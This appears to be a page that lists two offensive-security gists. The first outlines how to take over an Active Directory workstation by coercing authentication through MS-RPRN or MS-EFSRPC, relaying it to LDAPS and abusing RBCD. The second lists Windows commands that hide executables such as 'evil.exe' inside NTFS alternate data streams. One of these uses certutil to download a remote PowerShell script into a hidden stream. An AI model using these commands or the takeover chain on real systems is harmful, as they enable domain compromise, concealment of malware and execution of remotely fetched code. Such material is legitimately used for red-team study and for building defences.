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## Workstation-Takeover.md

      
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                gladiatx0r
                / Workstation-Takeover.md
            
            
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              June 23, 2024 22:01
            
              
                From RPC to RCE - Workstation Takeover via RBCD and MS-RPChoose-Your-Own-Adventure
              
          
    Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

  
## Exe_ADS_Methods.md

      
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                api0cradle
                / Exe_ADS_Methods.md
            
            
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              June 11, 2024 15:14
            
              
                Execute from Alternate Streams
              
          
    Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab